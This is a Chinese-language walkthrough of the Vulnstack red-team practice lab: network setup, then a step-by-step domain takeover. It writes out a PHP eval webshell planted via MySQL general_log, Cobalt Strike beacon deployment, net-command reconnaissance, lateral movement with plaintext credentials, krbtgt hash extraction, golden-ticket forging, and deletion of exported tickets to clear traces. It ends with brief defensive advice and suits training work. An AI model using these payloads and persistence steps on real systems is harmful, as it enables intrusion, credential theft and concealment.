环境搭建
靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
下载解压如下,选择其中然后用虚拟机打开vmx文件即可


本题的网络拓扑结构如下所示,三台虚拟机的初始密码都是hongrisec@2019

首先介绍一下什么是工作组和域
工作组:
将不同计算机按功能分别列入不同的组内,在一个大的单位内,可能有成百上千台电脑互相连接组成局域网,它们都会列在"网络(网上邻居)"内,如果这些电脑不分组,可想而知有多么混乱,要找一台电脑很困难。为了解决这一问题,就有了"工作组"这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中,如技术部的电脑都列入"技术部"工作组中,行政部的电脑都列入"行政部"工作组中。你要访问某个部门的资源,就在"网络"里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。相比不分组的情况就有序的多了,尤其是对于大型局域网络来说。
域:
域是一个有安全边界的计算机集合(安全边界的意思即一个域中的用户无法访问另外一个域中的资源),相比工作组而言,它有一个更加严格的安全管理机制,如果想访问域内资源,必须拥有一个合法的身份登录到该域中,你的权限取决于你在该域中的用户身份。
DC:
域内管理者,活动目录的数据库(包括用户的账号信息)是存储在DC中的,一旦DC瘫痪,其他用户就不能登录该域,内网中最重要的也是拿到域内DC控制权
这们的Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为我们的DC
这里我们在开启服务器前设置网络VMnet0和VMnet1,将VMnet0作为内网,VMnet1作为外网,其中需要注意的是,VMnet0的子网地址必须是192.168.52.0,否则后面win7的web服务无法开启

配置win7 web服务网络
从网络拓扑图可知,需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器 ,所以需要两张网卡,如下所示

设置好我们开机查看没问题(外网为:192.168.70.133 内网为:192.168.52.143)
配置Winserver 2008(DC)
我们直接将域控主机配置VMnet0网卡,如下所示

成功获取内网ip:192.168.52.138

配置win2k3网络(域成员)
域内主机win2003的网卡配置和DC配置一致,选择VMnet0网卡即可,与外网不连通

成功获取内网ip:192.168.52.141

接下来你们去互ping,如果通则正常,反之就出现问题了,尝试关闭防火墙和域防火墙后重新ping,如果不行则需要重新弄,接下来我们开启外网服务器,我们去到win7的小皮面板目录

注意:这里在开启后需要在重启win7一次,不然无法使用phpstudy
打开就是这样子,我们点击启动然后我们去访问127.0.0.1是否正常

如果是这样就证明开启了,现在我们在去攻击机(kali)去访问这个靶机的IP

OK成功访问,接下来开始攻击
攻击渗透
我们使用kali自带的dirsearch目录扫描工具去扫描网站的目录

可以发现服务器居然开放了phpmyadmin后台,即著名的mysql数据库管理后台,我们尝试访问一下,看看它是否有做访问限制

OK没有任何防护直接进去,那么看到这个登录框,我们可以先直接试试有没有弱口令root/root

OK发现默认账号密码直接进去了
phpmyadmin是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库
在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务
PhpMyAdmin 后台 Getshell
phpmyadmin有两种getshell方式:
- into outfile导出木马
- 利用Mysql日志文件getshell
尝试into outfile导出木马
执行 select @@basedir; 查看一下网站的路径

路径为:C:/phpStudy/MySQL/
再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php'; 直接将木马写入到 www网站根目录下 失败

这是因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =""。
直接写入木马不行,那我们就换另一种方法---Mysql日志文件写入shell
利用Mysql日志文件写入shell
先执行命令:show variables like '%general%'; 查看日志状态:

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell
SET GLOBAL general_log='on'
开启 general_log
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'
指定日志写入到网站根目录的 shell.php 文件
然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["123"]);?>',即可将一句话木马写入 hack.php 文件中 访问/shell.php 成功写入

用蚁剑成功链接


内网攻击
在kali里 ./teamserver 192.168.70.128 123456 运行cs服务

进入cs目录下./cs.sh启动并连接cs服务器
iP就是自己kali的ip,密码就是你刚刚设置的密码,然后端口默认是50050,账户随便输入,

打开是这样的,然后我们先弄一个监听器


那个IP都写kali自己的IP就好了,创建完是这样的
然后我们在弄一个exe程序
监听器选择刚刚创建的那个
然后保存看你自己保存到哪里,反正后面也是要复制出来的

在保存好后我们复制到外面来,用蚁剑上传


在上传完后我们在终端里执行 artifact.exe 可以看到靶机上线到CS上

成功上线

信息收集
内网信息收集的主要目的就是查找域控以及域内的其他主机
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
我们先来看一下权限,如果权限只是普通的admin的话我们使用getsystem来提升到system权限

可以看到administrator已经够用了
1、先判断是否存在域,使用 shell ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org

也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD 再执行net view /domain查看有几个域(可能有多个)

3、查看域的组账户信息(工作组)

4、既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA

5、确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址)

扫描出来 除了域控OWA 之外,还有一台主机ROOT-TVI862UBEH
至此内网域信息收集完毕,已知信息:域控主机:192.168.52.138,同时还存在一台域成员主机:192.168.52.141,接下来的目标就是横向渗透拿下域控
横向移动
1.我们对内网192.168.52/0地址进行端口扫描


可以看到开启了445的smb服务,那我们是用明文传输来上线机器,我们先创建一个smb的监听器

2.可以看到开启了445的smb服务,那我们是用明文传输来上线机器,我们先创建一个smb的监听器

2.然后我们在抓起明文密码


3.然后我们在点击我们要横向移动的机器


4.可以看到直接住取到了明文密码,选择明文,然后选择我们刚刚的smb监听器,会话在选择我们的刚刚控制的web外网服务器

5.然后点击运行,等待片刻便可看到域控服务器已经上线,直接拿下域控

由此成功能控制整个域了,但是这还不够,我们来制作我们的黄金票据
黄金票据权限维持
获取制作票据的"原材料"
你必须在已经拿下的 域控 (OWA) 上执行以下操作,收集四个关键信息:
-
域名称 (Primary Domain) :
god.org -
域的 SID:域的唯一标识符。
-
目标用户名 :你想伪造谁?(通常写
Administrator)。 -
krbtgt 的 NTLM Hash:这是最重要的"印章"。
输入dcsync god.org krbtgt查看id和哈希值

可以查到Domain : god.org id为S-1-5-21
krbtgt Hash : 58e91a5ac358d86513ab224312314061
然后制作黄金票据


点击build等待一下会出现以下

shell klist验证一下

生成成功,接下来我们将这张黄金票据保存成一个 .kirbi 文件,好让你下次重启 Cobalt Strike 之后还能直接导入使用,而不需要重新抓取 krbtgt
# 导出当前会话中的所有 Kerberos 票据
mimikatz sekurlsa::tickets /export

一般默认下载路径为 C:\Windows\System32
可以看到确实下载成功 然后我们直接复制或者用下载命令下载Administrator@krbtgt黄金票据到到自己电脑即可

当然下载完也不要忘了清理现场
shell del C:\Windows\System32\*.kirbi把他们删除
名词解释
黄金票据
黄金票据(golden ticket):伪造票据授予票据(TGT),也被称为认证票据。与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,再重新获取权限,因为常见的在域中管理员知道自己被入侵了 往往只是简单的修改域管的账号 恰恰krbtgt却被忽略,就有了可乘之机。
哈希码横向移动
因为域控制服务器以为都已经是内网才能访问了,不会被黑了,它就开了个共享目录在那里,但是文件存在域控制服务器上,这时候我们使用的cs会创建一个exe程序上传到域控制服务器,从而控制服务器,然后又因为,域控制服务器肯定会有别的机子的密码的,所以只要控制域服务器后就完全掌控了整个域,其实也是域控制服务器曾经远程连接过这个机子,导致它的密码残留下来了,因为Windows 默认会在内存缓存登录凭证(即使注销后也可能残留)


总结一句话:
横向移动的本质是 "用高权限账号的密码,登录其他机器"。
机器A的作用只是 "意外存储了域管密码的跳板",并非它自身有权限。
防御要聚焦 "管好域管账号"+"清理内存"+"隔离凭据"。
"攻击者用偷来的域管密码,光明正大通过系统后门(ADMIN$)把木马放进域控的卧室(C:\Windows\),然后远程命令木马自启动。"
防御核心:锁死后门(关共享) + 监控卧室(文件审计)。
